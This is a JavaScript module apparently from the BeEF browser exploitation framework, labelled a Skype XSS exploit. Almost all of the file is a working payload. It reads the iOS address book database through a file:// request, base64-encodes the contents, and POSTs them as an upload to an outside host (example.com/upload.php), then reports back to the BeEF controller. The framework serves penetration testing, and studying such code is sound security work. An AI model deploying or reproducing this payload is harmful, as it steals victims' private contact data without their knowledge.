Files
beef/modules/exploits/skype_xss/command.js
2012-03-10 20:46:04 +02:00

47 lines
1.5 KiB
JavaScript

//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
x = new XMLHttpRequest;
x.open("get","file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb");
x.overrideMimeType("text/plain; charset=x-user-defined");
x.send();
x.onreadystatechange = function() {
if(x.readyState == 4){
a = x.responseText || "";
ff=[];
mx=a.length;
scc = String.fromCharCode;
}
for(var z = 0 ; z < mx ; z++){
ff[z] = scc(a.charCodeAt(z)&255);
}
b=ff.join("");
b=btoa(b);
xp = new XMLHttpRequest;
xp.open("post","http://example.com/upload.php",!0);
xp.setRequestHeader("Content-Type","multipart/form-data;boundary=xxx,");
a = "--xxx\r\nContent-Disposition:form-data;name=\"media\";filename=\"ios.sqlitedb\"\r\nContent-Type:application/octet-stream\r\n\r\n"+b+"\r\n--xxx--";
xp.send(a);
};
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'SQL file sent');
});